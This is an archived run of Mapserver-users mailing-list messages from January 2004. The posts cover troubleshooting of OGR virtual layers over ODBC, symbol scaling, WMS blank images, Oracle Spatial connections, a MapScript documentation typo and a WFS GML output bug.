>>Here is the section of my mapfile where I call my virtual layer:
>>
>>LAYER
>>	NAME "MGWI_TBLLOC"
>>	TYPE POINT
>>	CONNECTIONTYPE OGR
>>	CONNECTION "mgwi.ovf"
>>	DATA "MGWI_TBLLOC"
>>	STATUS DEFAULT
>>	LABELITEM "LOCID"
>>	PROJECTION
>>		"init=epsg:26920"
>>	END #projection
>>	CLASS
>>		SYMBOL 'circle'
>>		SIZE 8
>>		LABEL
>>			COLOR 132 31 31
>>			SHADOWCOLOR 218 218 218
>>			SHADOWSIZE 2 2
>>			TYPE TRUETYPE
>>			FONT arial-bold
>>			FORCE true
>>			SIZE 10
>>			POSITION auto
>>			PARTIALS FALSE
>>			MINDISTANCE 0
>>			BUFFER 2
>>		END # end of label
>>	    TEMPLATE
>>"d:\webcgcq\lcnp\mapserver_demo\maritimes\templates\field_capt_query.html"
>>	END # CLASS
>>END # LAYER
>>
>>
>>
>>
>>
>>
>>==========================================
>>H?ryk
>>NRCan
>>
>>-----Message d'origine-----
>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>Envoy? : Wednesday, January 14, 2004 8:44 AM
>>? : 'spencer at dmsolutions.ca'
>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>Objet : RE: TR: [Mapserver-users] MySQL and Mapserver
>>
>>
>>Thanks
>>
>>H?ryk
>>
>>-----Message d'origine-----
>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>Envoy? : Tuesday, January 13, 2004 5:00 PM
>>? : Julien, Heryk
>>Cc : 'Paul Spencer '; 'Mapserver-users at lists.gis.umn.edu'
>>Objet : Re: TR: [Mapserver-users] MySQL and Mapserver
>>
>>
>>Maybe you missed it?
>>
>>
>>    
>>
>http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00111.html
>  
>
>>Cheers,
>>
>>Paul
>>
>>Julien, Heryk wrote:
>>
>>
>>    
>>
>>>Hi Paul,
>>>Could you send me or post information on the "new format in 
>>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>>source and map two of the columns to x and y locations"?
>>>
>>>Thanks
>>>H?ryk
>>>
>>>-----Message d'origine-----
>>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>Envoy? : Monday, January 05, 2004 9:23 AM
>>>? : 'spencer at dmsolutions.ca'
>>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>Objet : RE: [Mapserver-users] MySQL and Mapserver
>>>
>>>
>>>Hi,
>>>I am also very interseted in that fonction. I would like to be able to map
>>>well positions from a database x and y colums. Would this permit me to
>>>      
>>>
>>have
>>
>>    
>>
>>>an up to date point geometry layer which reflects the changes in my well
>>>database? Can you send me more details?
>>>
>>>Thanks
>>>
>>>H?ryk
>>>NRCan
>>>
>>>-----Message d'origine-----
>>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>>Envoy? : Saturday, January 03, 2004 4:28 PM
>>>? : bartvde at xs4all.nl
>>>Cc : mapserver-users at lists.gis.umn.edu
>>>Objet : Re: [Mapserver-users] MySQL and Mapserver
>>>
>>>
>>>Bart,
>>>
>>>if you are interested in point geometries only, there is a new format in 
>>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>>source and map two of the columns to x and y locations.  We've used it 
>>>for a couple of clients and it works very nicely.  If you are interested 
>>>I can send you more details.
>>>
>>>Cheers,
>>>
>>>Paul
>>>
>>>Bart van den Eijnden wrote:
>>>
>>>
>>>
>>>      
>>>
>>>>Hi list,
>>>>
>>>>I see in the history log that there has been some work done recently 
>>>>(early December) by Attila on supporting MySQL 4.X for the MyGIS 
>>>>connector. Can it be used already?
>>>>
>>>>Also, is it possible to keep the geometries in shapefiles and use 
>>>>Mapserver JOINS to link to tables in MySQL?
>>>>
>>>>Thanks in advance for the info.
>>>>
>>>>Best regards,
>>>>Bart
>>>>_______________________________________________
>>>>Mapserver-users mailing list
>>>>Mapserver-users at lists.gis.umn.edu
>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>>
>>>>        
>>>>
>>>      
>>>
>
>  
>




From niko at isl.net.mx  Wed Jan 21 14:34:26 2004
From: niko at isl.net.mx (Nikolai Vladychevski)
Date: Wed, 21 Jan 2004 22:34:26 GMT
Subject: [Mapserver-users] SYMBOLSCALE & GIF SYMBOL
Message-ID: <20040121223427.2511.qmail@quazartecnologia.com>

Hi, 

my problem is that when I zoom out and the scale is going over SYMBOLSCALE 
parrameter, the gif symbols are drawn in it's real size (60 pixels), when 
they sould be drawn as single dot. 

I have a layer wich is of type POINT and the CLASS for this layer has a 
SYMBOL entry refering to a gif file, wich is a 60 pixel circle in diameter. 

  LAYER
       NAME "amps"
       DATA "emplazamientos.shp"
       TYPE POINT
       STATUS ON
       SYMBOLSCALE 200000
#       MAXSCALE 128000
       CLASSITEM "AMPS"
       CLASS
           NAME "amps"
           EXPRESSION "1"
           SYMBOL "/var/www/html/mapdev/symbols/tech_amps.gif"
      END
  END 

The MAX & MIN scales are the following: 

   MINSCALE 1000
   MAXSCALE 50000000 

When I browse the map with at scale lower than 128000 (the SYMBOLSCALE 
setting), the circle symbol is scaled according to scale, when I zoom in, 
the circle grows, when I zoom out the cirlce gets smaller. Howerver, when I 
pass the 128000 SYMBOLSCALE barrier, say I get scale 195000, the symbol is 
displayed at its original size in gif file, it is 60 pixels circle and i get 
ugly display. I don't know if it is a bug or not, in my opinion, this 
shouldn't happend since I am  zooming out, so the circle should become a dot 
in a map. To work around this problem, I had to define MAXSCALE lower than 
SYMBOLSCALE so the layer wouldn't be shown if it is over this size, but this 
is not what I want. I would like to see my gif symbols really small on the 
map. Can this be done? 

Thanks in advance
Nikolai


From nacional at cbs.umn.edu  Wed Jan 21 16:51:56 2004
From: nacional at cbs.umn.edu (Pericles S. Nacionales)
Date: Wed, 21 Jan 2004 18:51:56 -0600
Subject: [Mapserver-users] simple mapserver configuration
In-Reply-To: 
References: 
Message-ID: <200401211850.07469.nacional@cbs.umn.edu>

On Wednesday 21 January 2004 03:42 pm, Eric Sokolowsky wrote:
> On Tue, 20 Jan 2004, Pericles Nacionales wrote:
> > Eric,
> >
> > I don't know if this is relevant in WMS servers or not but how about
> > adding IMAGEURL in your WEB object?
>
> Okay, done.  Didn't seem to change anything though.
>
> > By the way, does your app generate a
> > map with a standard MapServer CGI url, ie:
> > http://svsdev.gsfc.nasa.gov/esok/cgi-bin/map?map=/path/to/your/mapfile.ma
> >p&layer=EARTH_PNG&mode=map
>
> It generates the following message when I try that:
>
> msDrawMap(): General error message. Image dimensions not specified.
> msCalculateScale(): General error message. Invalid image width or height.
>
> > Another question, did you check that your IMAGEPATH (IMAGEURL) is
> > writeable by your web server's user/owner?
>
> Yes, after reading the documentation a few more times, I got the mapserv
> to write to my error log file.  However, I still see a blank image in my
> WMS client.  It returns an image of the right size, but it is completely
> black.  Here's an example query:
>
> http://svsdev.gsfc.nasa.gov/esok/cgi-bin/map?REQUEST=GetMap&SRS=EPSG:4326&V
>ERSION=1.1.0&FORMAT=image/png&STYLES=default&LAYERS=EARTH_JPEG&BBOX=-110,-20
>,-70,20&WIDTH=512&HEIGHT=512&TRANSPARENT=TRUE
>
> I know that the map file is being obtained correctly because when I issue
> getcapabilities request I get back an xml file with all of the correct
> layers.
>
> Any other suggestions anyone?

Well, I checked your capabilities and it looks fine except that the only LAYER 
available is EARTH_PNG.  Presumably you're editing things.  So, the only 
other idea I have has to do with recompiling MapServer.  I went back to your 
original post and looked at your "./mapserv -v" output.  I noticed you had 
GDAL, TIFF, and JPEG as input.  Please turn TIFF and JPEG off (use 
"--without-tiff" and "--without-jpeg" when running configure)  if you're 
using GDAL.  Or turn GDAL off (--without-gdal) and turn on TIFF and JPEG.

This may or may not have anything to do with your WMS issue but having TIFF 
and JPEG input enabled along with GDAL is known to cause problems.

Good luck!
-Perry N.



From gis at balkanu.com.au  Wed Jan 21 21:48:20 2004
From: gis at balkanu.com.au (Balkanu GIS)
Date: Thu, 22 Jan 2004 15:48:20 +1000
Subject: [Mapserver-users] (newbie): Win32 Apache error when calling Mapserv.exe
Message-ID: <000001c3e0ab$57785840$566b110a@cydn.net.au>

Hi all,

I'm just getting started with Mapserver (well, not even that!) - I have
Apache 1.3.27 running on Windows2000 and am trying to run the Mapserver 4.0
demo application. 

I try to test the MapServer application according to the tutorial
instructions, with the URL
http://localhost/cgi-bin/mapserv.exe?
And Apache returns the following error 500:
[error] Unrecognized character \x90 at c:/phpdev/www/cgi-bin/mapserv.exe
line 1.

Can anyone give a suggestion what might be wrong?

TIA

Yuri Banens




From cenek at inprop.sk  Thu Jan 22 00:07:04 2004
From: cenek at inprop.sk (Juraj Cenek)
Date: Thu, 22 Jan 2004 09:07:04 +0100
Subject: [Mapserver-users] How to edit?
Message-ID: <002301c3e0be$b90a3d90$f100a8c0@ceno>

This is a multi-part message in MIME format.

------=_NextPart_000_0020_01C3E0C7.1AB466D0
Content-Type: text/plain;
	charset="iso-8859-2"
Content-Transfer-Encoding: quoted-printable

Hallo, I have one question about the mapserver, is it possible=20
to modify the maps online (for example every user can create his=20
own layer on the server, when he inputs the password, his layers=20
will appear). Is this possible? (for example user wants to create=20
own map of his trips among his country) I've seen applications,=20
that can input points, but no application, that can include line,=20
polygone......
>Thanx,=20
>        Ing. Juraj Cenek

------=_NextPart_000_0020_01C3E0C7.1AB466D0
Content-Type: text/html;
	charset="iso-8859-2"
Content-Transfer-Encoding: quoted-printable









Hallo, I have=20
one question about the mapserver, is it possible 
to modify the maps =
online=20
(for example every user can create his 
own layer on the server, when =
he=20
inputs the password, his layers 
will appear). Is this possible? (for =
example=20
user wants to create 
own map of his trips among his country) I've =
seen=20
applications, 
that can input points, but no application, that can =
include=20
line, 
polygone......
>Thanx,=20

>        Ing. Juraj=20
Cenek


------=_NextPart_000_0020_01C3E0C7.1AB466D0--



From cenek at inprop.sk  Thu Jan 22 00:19:09 2004
From: cenek at inprop.sk (Juraj Cenek)
Date: Thu, 22 Jan 2004 09:19:09 +0100
Subject: [Mapserver-users] Editing?
Message-ID: <003201c3e0c0$68cf8900$f100a8c0@ceno>

This is a multi-part message in MIME format.

------=_NextPart_000_002F_01C3E0C8.CA7BFC30
Content-Type: text/plain;
	charset="iso-8859-2"
Content-Transfer-Encoding: quoted-printable

Hallo, I have one question about the mapserver, is it possible=20
to modify the maps online (for example every user can create his=20
own layer on the server, when he inputs the password, his layers=20
will appear). Is this possible? (for example user wants to create=20
own map of his trips among his country) I've seen applications,=20
that can input points, but no application, that can include line or =
polygone...... If it's possible, than how.
>Thanx,=20
>        Ing. Juraj Cenek


------=_NextPart_000_002F_01C3E0C8.CA7BFC30
Content-Type: text/html;
	charset="iso-8859-2"
Content-Transfer-Encoding: quoted-printable







Hallo, I have one question about the mapserver, =
is it=20
possible 
to modify the maps online (for example every user can =
create his=20

own layer on the server, when he inputs the password, his layers =

will=20
appear). Is this possible? (for example user wants to create 
own map =
of his=20
trips among his country) I've seen applications, 
that can input =
points, but=20
no application, that can include line or polygone...... If it's =
possible, than=20
how.
>Thanx, 
>        =
Ing. Juraj=20
Cenek


 


------=_NextPart_000_002F_01C3E0C8.CA7BFC30--



From Patricia.Witte at isb-mz.de  Thu Jan 22 01:26:32 2004
From: Patricia.Witte at isb-mz.de (Patricia Witte)
Date: Thu, 22 Jan 2004 10:26:32 +0100
Subject: [Mapserver-users] connection in mapfile to Oracle spatial is not
 used
References: <4007D2B1.CA2EBAA1@isb-mz.de>
Message-ID: <400F9748.C02A3009@isb-mz.de>

Patricia Witte wrote:

> Hi,
> I have successfully run MapServer under IIS 5.0 with some shapefile.
> With a spatial layer i get the error: msDrawMap(): unable to draw layer.
>
> With some onlog-trigger in my database I've shown
> that the connection in the mapfile is not used, there is no logon
> performed.
> I have tried everything I've found in the archive (oci.dll, path,
> ORACLE_HOME).
> Connect through sqlplus is possible.
> Has anyone solved this before?
> Thanks,
> Patricia
>

Hi List,
.. it only was a problem with permissions in IIS. IIS uses the IUSER_xx to
access
data and had not the permissions to read the folder with oraClient9.dll to
establish
the connection. I used filemon to check what mapserver tried to do and when
I found that access was denied to IUSER_ it was easy to give him the
privileges
and now it works.
Patricia



From robert-fritz at web.de  Thu Jan 22 03:52:20 2004
From: robert-fritz at web.de (robert fritz)
Date: Thu, 22 Jan 2004 12:52:20 +0100
Subject: [Mapserver-users] MS4 zoomrectange
Message-ID: <200401221152.i0MBqKQ30700@mailgate5.cinetic.de>

Hello,

i want to use "zoomectange()" but I get the error message : "Fatal error: Call to undefined function: zoomrectange() ".

...
$map->zoomrectange($zoom_box,$mapsize[0],$msmapsize[1],$currentextent);        
...

What's wrong? 

Robert



______________________________________________________________________________
Erdbeben im Iran: Zehntausende Kinder brauchen Hilfe. UNICEF hilft den
Kindern - helfen Sie mit! https://www.unicef.de/spe/spe_03.php



From robert-fritz at web.de  Thu Jan 22 04:28:40 2004
From: robert-fritz at web.de (robert fritz)
Date: Thu, 22 Jan 2004 13:28:40 +0100
Subject: [Mapserver-users] MS4 zoomrectange
Message-ID: <200401221228.i0MCSeQ13130@mailgate5.cinetic.de>

Hello,

it is a little mistake in the documentation:
 void zoomrectange(rectObj oPixelExt, int nImageWidth, int nImageHeight,
		     rectObj oGeorefExt)

should be:
void zoomrectangle(rectObj oPixelExt, int nImageWidth, int nImageHeight,
		     rectObj oGeorefExt)

I should have noticed that.
Robert

"robert fritz"  schrieb am 22.01.04 13:22:12:
> 
> Hello,
> 
> i want to use "zoomectange()" but I get the error message : "Fatal error: Call to undefined function: zoomrectange() ".
> 
> ...
> $map->zoomrectange($zoom_box,$mapsize[0],$msmapsize[1],$currentextent); 
> ...
> 
> What's wrong? 
> 
> Robert
> 
> 
> 
> ______________________________________________________________________________
> Erdbeben im Iran: Zehntausende Kinder brauchen Hilfe. UNICEF hilft den
> Kindern - helfen Sie mit! https://www.unicef.de/spe/spe_03.php
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


______________________________________________________________________________
Erdbeben im Iran: Zehntausende Kinder brauchen Hilfe. UNICEF hilft den
Kindern - helfen Sie mit! https://www.unicef.de/spe/spe_03.php



From hi_ono2001 at ybb.ne.jp  Thu Jan 22 05:10:37 2004
From: hi_ono2001 at ybb.ne.jp (Hisaji Ono)
Date: Thu, 22 Jan 2004 22:10:37 +0900
Subject: [Mapserver-users] how to create annotation layer's feature object by mapscript/php
Message-ID: <004301c3e0e9$2086c1d0$818001db@webgis>

Hi.

 I'd like to create animation gifs with annotations by MapScript/PHP

 So, I'd like to know how to create Feature objects by mapscript.

 MapScript seems to have no function of dealing with feature object.

 Could anyone help me?

 Regards.



From nicolas.fortin at ec.gc.ca  Thu Jan 22 06:08:56 2004
From: nicolas.fortin at ec.gc.ca (nicolas.fortin at ec.gc.ca)
Date: Thu, 22 Jan 2004 09:08:56 -0500
Subject: [Mapserver-users] Query on Oracle Layer!?!?
Message-ID: 

Hi Fernando,

I want to do simple query for the moment like this:

I have water-level stations on my map, when querying one, I want to see
other fields of the same Oracle table (LAT, LON, IDSTN, NAME, etc) so I can
build a link to an asp page where I can't make more complex queries on other
tables (water level of the last day, max/min of the month, etc)

If it's not possible now, I have to find a way to do this...

Nicolas


-----Message d'origine-----
De : Fernando S. [mailto:simon at inf.univali.br] 
Envoy? : Wednesday, January 21, 2004 2:07 PM
? : nicolas.fortin at ec.gc.ca
Objet : Re: [Mapserver-users] Query on Oracle Layer!?!?


Nicoilas,
    Well, this function not already implemented. But we (LCA) are working in
this function. In the last year we stop to development this functions to
finish other project. Now in 2004 we intend to finish this functions. We
believe that in February or March we release this drive.
    Sorry, we stop the development but now we are retaking the development.
    But, what query are you want to execute? What do you ant show in the
map?
    
    Well, I don't know if I help you. You can see an example in this link
(http://g10novo.cttmar.univali.br/gtznovo/principal.php), everything in this
map are in OracleSpatial: 
        Shapes used in layers was passed to databases (all shapes).
        The user datas (Usuarios checkbox). 
        When you click in "Pesquisa Rio" (left menu) a new windows appear.
In this window you can write this examples: 74200000 or 83000000 or Itajai.
So after write, one list appear with you selection, when you click in the
number (link) the selected river will be show in the map.

    Sorry my poor english. And forgives the delay in the development.

================================================================== 
Fernando Simon - simon at cttmar.univali.br 
================================================================== 
DataBase Manager, Mapserver, OracleSpatial and PostGis Developer 
G10 - Laborat?rio de Computa??o Aplicada 
Fone: 047 - 341 7960 
http://g10.cttmar.univali.br 
================================================================== 


nicolas.fortin at ec.gc.ca wrote: 
Hi list,

I just made a small application test that allow query on an Oracle Spatial
Layer.
When I made this query, I got this error :
msOracleSpatialLayerGetItems(): OracleSpatial error. Function not
implemented yet 

Doh!...So I can't make an Oracle layer queryable??


Nicolas Fortin 
Math?maticien, Programmeur, Analyste de donn?es 
SMC-Qu?bec Hydrologie, Environnement Canada 
1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5 
(418)648-2516 
nicolas.fortin at ec.gc.ca  

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

  



From eric.sokolowsky at gsfc.nasa.gov  Thu Jan 22 06:13:37 2004
From: eric.sokolowsky at gsfc.nasa.gov (Eric Sokolowsky)
Date: Thu, 22 Jan 2004 09:13:37 -0500 (EST)
Subject: [Mapserver-users] simple mapserver configuration
In-Reply-To: <200401211850.07469.nacional@cbs.umn.edu>
Message-ID: 

On Wed, 21 Jan 2004, Pericles S. Nacionales wrote:

> On Wednesday 21 January 2004 03:42 pm, Eric Sokolowsky wrote:
> > On Tue, 20 Jan 2004, Pericles Nacionales wrote:
> > > Eric,
> > >
> > > I don't know if this is relevant in WMS servers or not but how about
> > > adding IMAGEURL in your WEB object?
> >
> > Okay, done.  Didn't seem to change anything though.
> >
> > > By the way, does your app generate a
> > > map with a standard MapServer CGI url, ie:
> > > http://svsdev.gsfc.nasa.gov/esok/cgi-bin/map?map=/path/to/your/mapfile.ma
> > >p&layer=EARTH_PNG&mode=map
> >
> > It generates the following message when I try that:
> >
> > msDrawMap(): General error message. Image dimensions not specified.
> > msCalculateScale(): General error message. Invalid image width or height.
> >
> > > Another question, did you check that your IMAGEPATH (IMAGEURL) is
> > > writeable by your web server's user/owner?
> >
> > Yes, after reading the documentation a few more times, I got the mapserv
> > to write to my error log file.  However, I still see a blank image in my
> > WMS client.  It returns an image of the right size, but it is completely
> > black.  Here's an example query:
> >
> > http://svsdev.gsfc.nasa.gov/esok/cgi-bin/map?REQUEST=GetMap&SRS=EPSG:4326&V
> >ERSION=1.1.0&FORMAT=image/png&STYLES=default&LAYERS=EARTH_JPEG&BBOX=-110,-20
> >,-70,20&WIDTH=512&HEIGHT=512&TRANSPARENT=TRUE
> >
> > I know that the map file is being obtained correctly because when I issue
> > getcapabilities request I get back an xml file with all of the correct
> > layers.
> >
> > Any other suggestions anyone?
> 
> Well, I checked your capabilities and it looks fine except that the only LAYER 
> available is EARTH_PNG.  Presumably you're editing things.  So, the only 

Yeah, Norman Vine suggested that I simplify my map file.  I am including it
again below.

> other idea I have has to do with recompiling MapServer.  I went back to your 
> original post and looked at your "./mapserv -v" output.  I noticed you had 
> GDAL, TIFF, and JPEG as input.  Please turn TIFF and JPEG off (use 
> "--without-tiff" and "--without-jpeg" when running configure)  if you're 
> using GDAL.  Or turn GDAL off (--without-gdal) and turn on TIFF and JPEG.
> 
> This may or may not have anything to do with your WMS issue but having TIFF 
> and JPEG input enabled along with GDAL is known to cause problems.

Yeah, I tried to make the mapserver simpler.  I disabled everything that
I could, and here is now the output of mapserv -v:

MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER INPUT=GDAL INPUT=SHAPEFILE

But it still only generates a blank image.

Here is my map file now:


# Start of wms.map file

MAP
  NAME SVS
  EXTENT -180 -90 180 90
  STATUS ON

  PROJECTION
    "init=epsg:4326"
  END

  WEB
    METADATA
      "wms_abstract" "Provided by the Scientific Visualization Studio."
      "wms_accessconstraints" "none"
      "wms_fees" "none"
      "wms_onlineresource" "http://svsdev.gsfc.nasa.gov/esok/cgi-bin/map?"
      "wms_title" "NASA GSFC SVS Animation Catalog"
    END
  END

  OUTPUTFORMAT
    NAME png
    DRIVER "GD/PNG"
    MIMETYPE "image/png"
    IMAGEMODE RGB
    EXTENSION "png"
  END

  LAYER
    NAME "EARTH_PNG"
    TYPE RASTER
    STATUS ON
    DATA "earth.png"
    METADATA
      "wms_title" "Earth png"
      "wms_extent" "-110 -20 -70 20"
    END
  END

END

-- 
    ____   __     Eric Sokolowsky    (GST)  NASA Goddard Space Flight Center 
   / __/__/_/__  Visualization Programmer    Scientific Visualization Studio
  / __/ _/ / _/ 301.286.3751                  Mailstop 935.0 Bldg 28 Rm E102
 /___/_//_/__/ eric.sokolowsky at gsfc.nasa.gov   Greenbelt, MD 20771



From morissette at dmsolutions.ca  Thu Jan 22 06:23:16 2004
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 22 Jan 2004 09:23:16 -0500
Subject: [Mapserver-users] MS4 zoomrectange
In-Reply-To: <200401221228.i0MCSeQ13130@mailgate5.cinetic.de>
References: <200401221228.i0MCSeQ13130@mailgate5.cinetic.de>
Message-ID: <400FDCD4.40400@dmsolutions.ca>

robert fritz wrote:
> Hello,
> 
> it is a little mistake in the documentation:
>  void zoomrectange(rectObj oPixelExt, int nImageWidth, int nImageHeight,
> 		     rectObj oGeorefExt)
> 
> should be:
> void zoomrectangle(rectObj oPixelExt, int nImageWidth, int nImageHeight,
> 		     rectObj oGeorefExt)
> 

Thanks for pointing that.  I see that Assefa has fixed the typo in the 
master copy now.

Daniel
-- 
------------------------------------------------------------
  Daniel Morissette               morissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------



From pagurekd at agr.gc.ca  Thu Jan 22 06:45:53 2004
From: pagurekd at agr.gc.ca (Debbie Pagurek)
Date: Thu, 22 Jan 2004 09:45:53 -0500
Subject: [Mapserver-users] wfs and mapserver4.0.1
Message-ID: 

This is a MIME message. If you are reading this text, you may want to 
consider changing to a mail reader or gateway that understands how to 
properly handle MIME multipart messages.

--=_F0D1B235.F594BD6C
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit

Hi all,
is there a bug in wfs in mapserver4.0.1 -
I keep getting an error for my request:
http://latlong24.gis.agr.gc.ca/cgi-bin/mapserv-4.0.1-new?map=/usr/www/httpd/htdocs/mapdata/debtest/wfscanada.map&version=1.0.0&service=wfs&request=GetFeature&TypeName=canada&Propertyname=NAME

The XML page cannot be displayed 
Cannot view XML input using XSL style sheet. Please correct the error
and then click the Refresh button, or try again later. 



A name was started with an invalid character. Error processing resource
'http://latlong24.gis.agr.gc.ca/cgi-bin/mapserv-4.0.1-new?map=/usr/www/httpd/htdocs/mapdata/debtest/wfscanada.map&version=1.0.0&service=wfs&request=GetFeature&TypeName=canada&Propertyname=NAME'.
Line 24, Position 10 
        <>

and when I do a view source, what i see is that an extra empty tag <>
that occurs after all of the fields have been listed.  e.g. that part of
the gml output: 

      
        585860.072
        CA10
        Quebec
        6895963
        13.163780
        <>this happens for whatever shapefile I am using.
Also, I did try using the latest dev version 4.1 (the windows binary
that Assefa made available a little while ago, and this problem goes
away.

Just wondering if I'm creating an incorrect request or if this is a
known bug.  Also trying to figure out which version of mapserver to
install on our servers.

Thanks,
D. Pagurek

--=_F0D1B235.F594BD6C
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Content-Description: HTML







Hi all,


is there a bug in wfs in mapserver4.0.1 -


I keep getting an error for my request:



 




The XML page cannot be displayed 
  
Cannot view XML input using XSL style sheet. 
  Please correct the error and then click the Refresh button, or try 
  again later. 
  
A name was started with an invalid 
  character. Error processing resource 
  'http://latlong24.gis.agr.gc.ca/cgi-bin/mapserv-4.0.1-new?map=/usr/www/httpd/htdocs/mapdata/debtest/wfscanada.map&version=1.0.0&service=wfs&request=GetFeature&TypeName=canada&Propertyname=NAME'. 
  Line 24, Position 10 
        <>

and when I do a view source, what i see is that an extra empty tag <> 
  that occurs after all of the fields have been listed.  e.g. that part of 
  the gml output: 
<gml:featureMember>
      <canada>
        <AREA>585860.072</AREA>
        <CODE>CA10</CODE>
        <NAME>Quebec</NAME>
        <POP1991>6895963</POP1991>
        <POP91_SQMI>13.163780</POP91_SQMI>
        <>

this happens for whatever shapefile I am using.
Also, I did try using the latest dev version 4.1 (the windows binary that 
Assefa made available a little while ago, and this problem goes away.

  

  
  
  


Just wondering if I'm creating an incorrect request or if this is a known 
bug.  Also trying to figure out which version of mapserver to install on 
our servers.


 


Thanks,


D. Pagurek


--=_F0D1B235.F594BD6C--


From gengx at agr.gc.ca  Thu Jan 22 06:50:16 2004
From: gengx at agr.gc.ca (Xiaoyuan Geng)
Date: Thu, 22 Jan 2004 09:50:16 -0500
Subject: [Mapserver-users] Re: How does each version of the Mapscript modules find its
 Mapserver?
Message-ID: 

The Mapscript has nothing to do with the CGI mapserver except you need
the mapserver during the WMS url construction.

Thanks!

Shawn

From: 	Xiaoyuan Geng
To:	mapserver-users at lists.gis.umn.edu
Date: 	1/21/04 1:33PM
Subject: 	How does each version of the Mapscript modules find its
Mapserver?

Hello

I have three compiled Mapservers in my CGI-bin. I have had the
mapscript modules compiled for each of the Mapservers. How do I know
that my Mapscript module calls its corresponding Mapserver? 

Would be that the solution if I copy/install  the compiled Mapservers
and Mapscripts using name conventions as:  
                            mapserv_xxx     in the CGI-bin directory
                            mapscript_xxx   in the php extension
directory

Thank you very much!

Shawn



From spencer at dmsolutions.ca  Thu Jan 22 07:21:15 2004
From: spencer at dmsolutions.ca (Paul Spencer)
Date: Thu, 22 Jan 2004 10:21:15 -0500
Subject: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
In-Reply-To: <06B403677C41D51194550002A55107D201F78FEB@s5-stf1-r1.nrn.nrcan.gc.ca>
References: <06B403677C41D51194550002A55107D201F78FEB@s5-stf1-r1.nrn.nrcan.gc.ca>
Message-ID: <400FEA6B.4040808@magma.ca>

I was wrong, for Access with no username/password, the following works:

ogrinfo ODBC:test

where test is the name of my DSN that points to an Access database.

I would recommend that you debug this using ogrinfo.  Please note that 
you MUST have gdal from CVS and a very recent MapServer for this to work.

Cheers,

Paul

Julien, Heryk wrote:

> Hi Paul,
> What do I write in the virtual file SrcDataSource tag when I log on a Access
> db with no user restrictions and pass word?
> I've tried the following combinations without success:
> 
> ODBC:MGWI_MAPSERVER
> ODBC:@MGWI_MAPSERVER
> ODBC:/@MGWI_MAPSERVER
> ODBC:administor/@MGWI_MAPSERVER 
> ODBC:administeur/@MGWI_MAPSERVER
> 
> Thanks
> H?ryk
> 
> 
> -----Message d'origine-----
> De : Paul Spencer [mailto:pagameba at magma.ca]
> Envoy? : Wednesday, January 21, 2004 1:43 PM
> ? : Julien, Heryk
> Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
> Anctil, Martin
> Objet : [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
> 
> 
> I believe there is a limitation in the OGR OBDC connection that requires 
> that you provide a user name and password in the OVF file (I think that 
> is mentioned in the wiki also).
> 
> Cheers,
> 
> Paul
> 
> Julien, Heryk wrote:
> 
>>Hi,
>>I'm trying out the Virtual Spatial Data procedure in MapServerWiki
>>(http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData) with IIS
>>and an Access 2000 ODBC connection.
>>
>>I keep on getting the following error message when I attempt ton see my
> 
> map:
> 
>>msDrawMap(): Image handling error. Failed to draw layer named
> 
> 'MGWI_TBLLOC'.
> 
>>msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'.
> 
> File
> 
>>not found or unsupported format.
>>
>>Anyone can help me?
>>
>>
>>
>>Here is my virtual file (mgw.ovf):
>>
>>
>>    
>>        ODBC:MGWI_MAPSERVER 
>> 	tblloc 
>>	wkbPoint
>>	         
>>	 
>>    
>>
>>
>>
>>
>>
>>My virtual layer is in the same directory as my shapefiles:
>>
>>SHAPEPATH "d:\webcgcq\lcnp\mapserver_demo\maritimes\data\shp\geo83"
>>
>>
>>
>>
>>Here is the section of my mapfile where I call my virtual layer:
>>
>>LAYER
>>	NAME "MGWI_TBLLOC"
>>	TYPE POINT
>>	CONNECTIONTYPE OGR
>>	CONNECTION "mgwi.ovf"
>>	DATA "MGWI_TBLLOC"
>>	STATUS DEFAULT
>>	LABELITEM "LOCID"
>>	PROJECTION
>>		"init=epsg:26920"
>>	END #projection
>>	CLASS
>>		SYMBOL 'circle'
>>		SIZE 8
>>		LABEL
>>			COLOR 132 31 31
>>			SHADOWCOLOR 218 218 218
>>			SHADOWSIZE 2 2
>>			TYPE TRUETYPE
>>			FONT arial-bold
>>			FORCE true
>>			SIZE 10
>>			POSITION auto
>>			PARTIALS FALSE
>>			MINDISTANCE 0
>>			BUFFER 2
>>		END # end of label
>>	    TEMPLATE
>>"d:\webcgcq\lcnp\mapserver_demo\maritimes\templates\field_capt_query.html"
>>	END # CLASS
>>END # LAYER
>>
>>
>>
>>
>>
>>
>>==========================================
>>H?ryk
>>NRCan
>>
>>-----Message d'origine-----
>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>Envoy? : Wednesday, January 14, 2004 8:44 AM
>>? : 'spencer at dmsolutions.ca'
>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>Objet : RE: TR: [Mapserver-users] MySQL and Mapserver
>>
>>
>>Thanks
>>
>>H?ryk
>>
>>-----Message d'origine-----
>>De : Paul Spencer [mailto:pagameba at magma.ca]
